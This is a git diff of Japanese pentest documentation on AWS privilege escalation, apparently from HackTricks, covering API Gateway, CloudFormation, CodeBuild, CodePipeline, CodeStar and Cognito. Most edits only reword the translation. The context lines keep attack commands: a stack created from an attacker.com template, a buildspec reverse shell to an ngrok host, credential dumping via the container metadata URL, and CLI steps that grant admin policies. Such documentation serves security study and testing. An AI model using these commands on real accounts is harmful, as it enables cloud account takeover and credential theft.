-`apigateway:PutIntegration`、`apigateway:CreateDeployment`、および `iam:PassRole` の権限を持つ攻撃者は、**IAMロールが付与されたLambda関数を使用して既存のAPI Gateway REST APIに新しい統合を追加することができます**。攻撃者はその後、**Lambda関数をトリガーして任意のコードを実行し、IAMロールに関連付けられたリソースにアクセスできる可能性があります**。
+`apigateway:PutIntegration`、`apigateway:CreateDeployment`、および `iam:PassRole` の権限を持つ攻撃者は、**IAMロールが付与されたLambda関数を持つ既存のAPI Gateway REST APIに新しい統合を追加することができます**。攻撃者はその後、**Lambda関数をトリガーして任意のコードを実行し、IAMロールに関連付けられたリソースにアクセスできる可能性があります**。
```bash
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
@@ -63,7 +63,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
> [!NOTE]
> テストが必要
-`apigateway:UpdateAuthorizer`および`apigateway:CreateDeployment`の権限を持つ攻撃者は、**既存のAPI Gatewayオーソライザーを変更**して、セキュリティチェックを回避したり、APIリクエストが行われる際に任意のコードを実行したりすることができます。
+`apigateway:UpdateAuthorizer` および `apigateway:CreateDeployment` の権限を持つ攻撃者は、**既存のAPI Gatewayオーソライザーを変更**して、セキュリティチェックをバイパスしたり、APIリクエストが行われる際に任意のコードを実行したりすることができます。
```bash
API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
@@ -82,7 +82,7 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
> [!NOTE]
> テストが必要
-`apigateway:UpdateVpcLink`の権限を持つ攻撃者は、**既存のVPCリンクを異なるネットワークロードバランサーを指すように変更でき、プライベートAPIトラフィックを不正または悪意のあるリソースにリダイレクトする可能性があります**。
+`apigateway:UpdateVpcLink` の権限を持つ攻撃者は、**既存のVPCリンクを異なるネットワークロードバランサーを指すように変更でき、プライベートAPIトラフィックを不正または悪意のあるリソースにリダイレクトする可能性があります**。
```bash
bashCopy codeVPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md
index 590c3b9b4..36d578838 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md
@@ -4,7 +4,7 @@
## cloudformation
-Cloudformationに関する詳細情報は、以下を確認してください:
+cloudformationに関する詳細情報は、以下を確認してください:
{{#ref}}
../../aws-services/aws-cloudformation-and-codestar-enum.md
@@ -12,23 +12,23 @@ Cloudformationに関する詳細情報は、以下を確認してください:
### `iam:PassRole`, `cloudformation:CreateStack`
-これらの権限を持つ攻撃者は、**指定されたロールの権限の下でアクションを実行するために、サーバーにホストされたカスタムテンプレートを使用して** **CloudFormationスタック**を作成することにより、**権限を昇格させることができます:**
+これらの権限を持つ攻撃者は、**指定されたロールの権限の下でアクションを実行するために、サーバーにホストされたカスタムテンプレートを使用して** **CloudFormationスタック**を作成することで**権限を昇格させる**ことができます:
```bash
aws cloudformation create-stack --stack-name \
--template-url http://attacker.com/attackers.template \
--role-arn
```
-以下のページには、追加の権限 **`cloudformation:DescribeStacks`** を持つ **エクスプロイト例** があります:
+以下のページには、追加の権限 **`cloudformation:DescribeStacks`** を持つ **エクスプロイトの例**があります:
{{#ref}}
iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
{{#endref}}
-**潜在的な影響:** 指定されたcloudformationサービスロールへの権限昇格。
+**潜在的な影響:** 指定されたcloudformationサービスロールへの権限昇格。
### `iam:PassRole`, (`cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`)
-この場合、**既存のcloudformationスタックを悪用**してそれを更新し、前のシナリオのように権限を昇格させることができます:
+この場合、**既存のcloudformationスタックを悪用**して更新し、前のシナリオのように権限を昇格させることができます:
```bash
aws cloudformation update-stack \
--stack-name privesc \
@@ -43,7 +43,7 @@ aws cloudformation update-stack \
### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`
-この権限を持っているが、**`iam:PassRole` がない場合**でも、**使用されているスタックを更新**し、**既に添付されている IAM ロールを悪用**することができます。前のセクションでのエクスプロイトの例を確認してください(更新時にロールを指定しないでください)。
+この権限を持っているが **`iam:PassRole` がない場合**でも、**使用されているスタックを更新**し、**既に添付されている IAM ロールを悪用**することができます。前のセクションでのエクスプロイトの例を確認してください(更新時にロールを指定しないでください)。
`cloudformation:SetStackPolicy` 権限を使用して、**自分に `UpdateStack` 権限を与え**、攻撃を実行できます。
@@ -79,13 +79,13 @@ aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1
```
-`cloudformation:SetStackPolicy` 権限を使用して、**スタックに対して `ChangeSet` 権限を付与**し、攻撃を実行できます。
+`cloudformation:SetStackPolicy` 権限を使用して、スタックに対して **自分に `ChangeSet` 権限を与える** ことができ、攻撃を実行できます。
**潜在的な影響:** cloudformation サービスロールへの権限昇格。
### (`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`)
-これは前の方法と似ていますが、**IAM ロール**を渡さずに行うため、**既にアタッチされているものを悪用**することができます。パラメータを変更するだけです:
+これは前の方法と似ていますが、**IAM ロール**を渡すことなく、すでにアタッチされているロールを **悪用する** ことができます。パラメータを変更するだけです:
```
--change-set-type UPDATE
```
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
index 3000914e5..02853e25b 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
@@ -55,14 +55,14 @@
}
}
```
-次に**cloudformationスタックを生成**します:
+次に**CloudFormationスタックを生成**します:
```bash
aws cloudformation create-stack --stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::[REDACTED]:role/adminaccess \
--capabilities CAPABILITY_IAM --region us-west-2
```
-**数分待って** スタックが生成されるのを待ち、その後 **出力を取得** します スタックの **資格情報が保存されている** ところ:
+**数分待って** スタックが生成されるのを待ち、次に **出力を取得** します スタックの **資格情報が保存されている** ところ:
```bash
aws cloudformation describe-stacks \
--stack-name arn:aws:cloudformation:us-west2:[REDACTED]:stack/privesc/b4026300-d3fe-11e9-b3b5-06fe8be0ff5e \
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
index 3ba740463..9092b1da0 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md
@@ -4,7 +4,7 @@
## codebuild
-詳細情報は以下を参照してください:
+詳細情報は以下を参照してください:
{{#ref}}
../aws-services/aws-codebuild-enum.md
@@ -12,7 +12,7 @@
### `codebuild:StartBuild` | `codebuild:StartBuildBatch`
-これらの権限のいずれかがあれば、新しいbuildspecでビルドをトリガーし、プロジェクトに割り当てられたiamロールのトークンを盗むのに十分です:
+これらの権限のいずれかがあれば、新しいbuildspecでビルドをトリガーし、プロジェクトに割り当てられたiamロールのトークンを盗むのに十分です:
{{#tabs }}
{{#tab name="StartBuild" }}
@@ -137,12 +137,12 @@ aws codebuild start-build --project-name reverse-shell-project
{{#endtab }}
{{#endtabs }}
-**潜在的な影響:** どのAWS Codebuildロールへの直接的な権限昇格。
+**潜在的影響:** 任意のAWS Codebuildロールへの直接的な権限昇格。
> [!WARNING]
> **Codebuildコンテナ**内のファイル`/codebuild/output/tmp/env.sh`には、**メタデータ認証情報**にアクセスするために必要なすべての環境変数が含まれています。
-> このファイルには、**環境変数`AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`**が含まれており、**認証情報にアクセスするためのURLパス**が含まれています。それは次のようなものになります`/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
+> このファイルには、**環境変数`AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`**が含まれており、認証情報にアクセスするための**URLパス**が含まれています。それは次のようなものになります`/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
> それをURL **`http://169.254.170.2/`**に追加すると、ロールの認証情報をダンプすることができます。
@@ -270,7 +270,7 @@ aws codebuild start-build-batch --project-name codebuild-demo-project
**SSMセッションを開始するのに十分な権限があれば、**ビルド中の**Codebuildプロジェクトに入ることが可能です。**
-Codebuildプロジェクトにはブレークポイントが必要です:
+Codebuildプロジェクトにはブレークポイントが必要です:
phases:
pre_build:
@@ -280,18 +280,18 @@ commands:
- codebuild-breakpoint
-そして:
+そして次に:
```bash
aws codebuild batch-get-builds --ids --region --output json
aws ssm start-session --target --region
```
-For more info [**ドキュメントを確認してください**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html)。
+詳細については[**ドキュメントを確認してください**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html)。
-### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
+### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)、`s3:GetObject`、`s3:PutObject`
-特定のCodeBuildプロジェクトのビルドを開始/再起動できる攻撃者が、その`buildspec.yml`ファイルを攻撃者が書き込みアクセスを持つS3バケットに保存している場合、CodeBuildプロセスでコマンド実行を取得できます。
+特定のCodeBuildプロジェクトのビルドを開始/再起動できる攻撃者は、その`buildspec.yml`ファイルを攻撃者が書き込みアクセスを持つS3バケットに保存している場合、CodeBuildプロセスでコマンド実行を取得できます。
-注意: エスカレーションは、CodeBuildワーカーが攻撃者とは異なる役割を持っている場合にのみ関連します。おそらく、より特権のある役割です。
+注意: エスカレーションは、CodeBuildワーカーが攻撃者とは異なる役割を持っている場合にのみ関連します。希望的には、より特権的な役割です。
```bash
aws s3 cp s3:///buildspec.yml ./
@@ -308,7 +308,7 @@ aws codebuild start-build --project-name
# Wait for the reverse shell :)
```
-あなたはこのような**buildspec**を使用して**reverse shell**を取得できます:
+このような **buildspec** を使用して **reverse shell** を取得できます:
```yaml:buildspec.yml
version: 0.2
@@ -317,13 +317,13 @@ build:
commands:
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
```
-**影響:** 通常高い権限を持つAWS CodeBuildワーカーによって使用されるロールへの直接的な権限昇格。
+**影響:** AWS CodeBuild ワーカーによって使用されるロールへの直接的な特権昇格で、通常は高い権限を持っています。
> [!WARNING]
-> buildspecはzip形式で期待される可能性があるため、攻撃者はダウンロードして解凍し、ルートディレクトリから`buildspec.yml`を修正し、再度zip化してアップロードする必要があります。
+> buildspec は zip 形式で期待される可能性があるため、攻撃者はダウンロードして解凍し、ルートディレクトリから `buildspec.yml` を修正し、再度 zip してアップロードする必要があります。
-詳細は[こちら](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/)で確認できます。
+詳細は [here](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/) で確認できます。
-**潜在的な影響:** 添付されたAWS Codebuildロールへの直接的な権限昇格。
+**潜在的な影響:** 添付された AWS Codebuild ロールへの直接的な特権昇格。
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
index 2c7ceb8d0..96b38ff3a 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
@@ -4,7 +4,7 @@
## codepipeline
-Codepipelineに関する詳細情報は以下を確認してください:
+codepipelineに関する詳細情報は以下を確認してください:
{{#ref}}
../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
@@ -12,13 +12,13 @@ Codepipelineに関する詳細情報は以下を確認してください:
### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution`
-コードパイプラインを作成する際に、**実行するためのcodepipeline IAMロールを指定**できます。したがって、それらを侵害することができます。
+コードパイプラインを作成する際に、**実行するためのcodepipeline IAMロールを指定**できます。したがって、それらを妥協することができます。
-前述の権限に加えて、**コードが保存されている場所へのアクセスが必要**です(S3、ECR、github、bitbucket...)。
+前述の権限に加えて、**コードが保存されている場所へのアクセス**(S3、ECR、github、bitbucket...)が必要です。
-私はこのプロセスをウェブページでテストしましたが、前述の権限はコードパイプラインを作成するために必要なList/Get権限ではありませんが、ウェブで作成するためには次の権限も必要です: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:`
+私はこのプロセスをウェブページでテストしましたが、前述の権限はコードパイプラインを作成するために必要なList/Get権限ではありませんが、ウェブで作成するには以下も必要です: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:`
-**ビルドプロジェクトの作成中**に、**実行するコマンド**(rev shell?)を指定し、**特権ユーザー**としてビルドフェーズを実行することができます。これが攻撃者が侵害するために必要な設定です:
+**ビルドプロジェクトの作成中**に、**実行するコマンド**(rev shell?)を指定し、**特権ユーザー**としてビルドフェーズを実行することができます。これが攻撃者が妥協するために必要な設定です:
.png>)
@@ -32,6 +32,6 @@ Codepipelineに関する詳細情報は以下を確認してください:
[AWSは次のように述べています](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html):
-> このAPIが呼び出されると、CodePipelineは**パイプラインのアーティファクトを保存するために使用されるS3バケットの一時的な資格情報を返します**。アクションがそのS3バケットへの入力または出力アーティファクトへのアクセスを必要とする場合です。このAPIはまた、**アクションのために定義された任意の秘密の値を返します**。
+> このAPIが呼び出されると、CodePipelineは**パイプラインのアーティファクトを保存するために使用されるS3バケットの一時的な資格情報を返します**。アクションがそのS3バケットへの入力または出力アーティファクトへのアクセスを必要とする場合。このAPIはまた、**アクションのために定義された任意の秘密の値を返します**。
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md
index 5ac398d4c..c9cf4e67e 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/README.md
@@ -12,7 +12,7 @@ codestar-createproject-codestar-associateteammember.md
### `iam:PassRole`, `codestar:CreateProject`
-これらの権限を使用すると、**cloudformationテンプレート**を介して**任意のアクション**を実行するために**codestar IAMロールを悪用**できます。以下のページを確認してください:
+これらの権限を使用すると、**cloudformationテンプレート**を介して**任意のアクション**を実行するために**codestar IAMロールを悪用**できます。次のページを確認してください:
{{#ref}}
iam-passrole-codestar-createproject.md
@@ -20,7 +20,7 @@ iam-passrole-codestar-createproject.md
### `codestar:CreateProject`, `codestar:AssociateTeamMember`
-この技術は、`codestar:CreateProject`を使用してcodestarプロジェクトを作成し、`codestar:AssociateTeamMember`を使用してIAMユーザーを新しいCodeStar **プロジェクト**の**オーナー**にすることで、**いくつかの追加権限を持つ新しいポリシー**を付与します。
+この手法は、`codestar:CreateProject`を使用してcodestarプロジェクトを作成し、`codestar:AssociateTeamMember`を使用してIAMユーザーを新しいCodeStar **プロジェクト**の**所有者**にすることで、**いくつかの追加権限を持つ新しいポリシーを付与**します。
```bash
PROJECT_NAME="supercodestar"
@@ -39,9 +39,9 @@ aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
--project-role "Owner" \
--remote-access-allowed
```
-もしあなたがすでに**プロジェクトのメンバー**であれば、権限**`codestar:UpdateTeamMember`**を使用して**役割をオーナーに更新**できます。`codestar:AssociateTeamMember`の代わりに。
+もしあなたがすでに**プロジェクトのメンバー**であれば、権限**`codestar:UpdateTeamMember`**を使用して**役割をオーナー**に更新することができます。`codestar:AssociateTeamMember`の代わりに。
-**潜在的な影響:** codestarポリシーへのプライベートエスカレーション。以下のポリシーの例を見つけることができます。
+**潜在的な影響:** codestarポリシーへのプライベートエスカレーション。以下にそのポリシーの例を見つけることができます:
{{#ref}}
codestar-createproject-codestar-associateteammember.md
@@ -52,15 +52,15 @@ codestar-createproject-codestar-associateteammember.md
1. **新しいプロジェクトを作成:**
- **`codestar:CreateProjectFromTemplate`**アクションを利用して新しいプロジェクトの作成を開始します。
- 成功裏に作成されると、**`cloudformation:UpdateStack`**へのアクセスが自動的に付与されます。
-- このアクセスは、`CodeStarWorker--CloudFormation` IAMロールに関連付けられたスタックを特に対象とします。
+- このアクセスは、`CodeStarWorker--CloudFormation` IAMロールに関連付けられたスタックを特に対象としています。
2. **ターゲットスタックを更新:**
- 付与されたCloudFormation権限を使用して、指定されたスタックを更新します。
-- スタックの名前は通常、次の2つのパターンのいずれかに従います:
+- スタックの名前は通常、次の2つのパターンのいずれかに従います:
- `awscodestar--infrastructure`
- `awscodestar--lambda`
- 正確な名前は選択したテンプレートに依存します(例のエクスプロイトスクリプトを参照)。
3. **アクセスと権限:**
-- 更新後、スタックに関連付けられた**CloudFormation IAMロール**に割り当てられた機能を取得します。
+- 更新後、スタックにリンクされた**CloudFormation IAMロール**に割り当てられた機能を取得します。
- 注意: これは本質的に完全な管理者権限を提供するものではありません。権限をさらに昇格させるためには、環境内の追加の誤設定されたリソースが必要になる場合があります。
詳細については、元の研究を確認してください: [https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/](https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/)。\
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md
index e75a28c33..ad1ba4228 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codestar-privesc/iam-passrole-codestar-createproject.md
@@ -2,9 +2,9 @@
{{#include ../../../../banners/hacktricks-training.md}}
-これらの権限を使用すると、**codestar IAMロールを悪用**して、**cloudformationテンプレート**を介して**任意のアクション**を実行できます。
+これらの権限を使用すると、**codestar IAMロールを悪用**して、**任意のアクション**を**cloudformationテンプレート**を通じて実行できます。
-これを悪用するには、攻撃されたアカウントから**アクセス可能なS3バケット**を作成する必要があります。`toolchain.json`という名前のファイルをアップロードします。このファイルには、**cloudformationテンプレートのエクスプロイト**が含まれている必要があります。次のものを使用して、あなたの管理下にあるユーザーにマネージドポリシーを設定し、**管理者権限を付与**できます:
+これを悪用するには、攻撃されたアカウントから**アクセス可能なS3バケットを作成**する必要があります。`toolchain.json`という名前のファイルをアップロードします。このファイルには、**cloudformationテンプレートのエクスプロイト**が含まれている必要があります。次のものを使用して、あなたの管理下にあるユーザーに管理ポリシーを設定し、**管理者権限を付与**できます:
```json:toolchain.json
{
"Resources": {
@@ -32,9 +32,9 @@
{% file src="../../../../images/empty.zip" %}
-**victim account** から両方のファイルにアクセスできる **bucket** であることを忘れないでください。
+**両方のファイルが被害者アカウントからアクセス可能なバケットであることを忘れないでください**。
-両方のファイルを **upload** したら、**codestar** プロジェクトを作成して **exploitation** に進むことができます:
+両方のファイルをアップロードしたら、**codestar** プロジェクトを作成して **exploitation** に進むことができます:
```bash
PROJECT_NAME="supercodestar"
@@ -79,6 +79,6 @@ aws codestar create-project \
--source-code file://$SOURCE_CODE_PATH \
--toolchain file://$TOOLCHAIN_PATH
```
-このエクスプロイトは、**これらの権限のPacuエクスプロイト**に基づいています: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) ここでは、ユーザーではなくロールのために管理されたポリシーを作成するバリエーションを見つけることができます。
+このエクスプロイトは、**これらの権限のPacuエクスプロイト**に基づいています: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) これにより、ユーザーではなくロールのために管理されたポリシーを作成するバリエーションを見つけることができます。
{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
index e9a1da7a6..f837e66bb 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
@@ -4,7 +4,7 @@
## Cognito
-Cognitoに関する詳細情報は以下を確認してください:
+Cognitoに関する詳細情報は、以下を確認してください:
{{#ref}}
../aws-services/aws-cognito-enum/
@@ -12,9 +12,9 @@ Cognitoに関する詳細情報は以下を確認してください:
### アイデンティティプールからの資格情報の収集
-Cognitoは**認証済み**および**未認証**の**ユーザー**に**IAMロールの資格情報**を付与できるため、アプリケーションの**アイデンティティプールID**を特定できれば(アプリケーションにハードコーディングされているはずです)、新しい資格情報を取得でき、したがって権限昇格が可能です(おそらく以前は資格情報を持っていなかったAWSアカウント内で)。
+Cognitoは**認証済み**および**未認証**の**ユーザー**に**IAMロールの資格情報**を付与できるため、アプリケーションの**アイデンティティプールID**を特定できれば(アプリケーションにハードコーディングされているはずです)、新しい資格情報を取得でき、したがって権限昇格が可能です(おそらく以前は何の資格情報も持っていなかったAWSアカウント内で)。
-詳細については[**このページを確認してください**](../aws-unauthenticated-enum-access/#cognito)。
+詳細情報は[**このページを確認してください**](../aws-unauthenticated-enum-access/#cognito)。
**潜在的な影響:** 未認証ユーザーに付与されたサービスロールへの直接的な権限昇格(おそらく認証済みユーザーに付与されたものにも)。
@@ -32,7 +32,7 @@ aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-90
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
```
-もしCognitoアプリが**未認証ユーザーを有効にしていない**場合、これを有効にするために`cognito-identity:UpdateIdentityPool`の権限も必要になるかもしれません。
+Cognitoアプリが**未認証ユーザーを有効にしていない**場合、これを有効にするために`cognito-identity:UpdateIdentityPool`の権限も必要になるかもしれません。
**潜在的な影響:** どのCognitoロールにも直接的な権限昇格。
@@ -69,7 +69,7 @@ aws cognito-identity update-identity-pool \
--allow-unauthenticated-identities
--allow-classic-flow
```
-**潜在的な影響**: アイデンティティプール内の構成された認証済みIAMロールを侵害する。
+**潜在的な影響**: アイデンティティプール内の設定された認証済みIAMロールが侵害される。
### `cognito-idp:AdminAddUserToGroup`
@@ -80,11 +80,11 @@ aws cognito-idp admin-add-user-to-group \
--username \
--group-name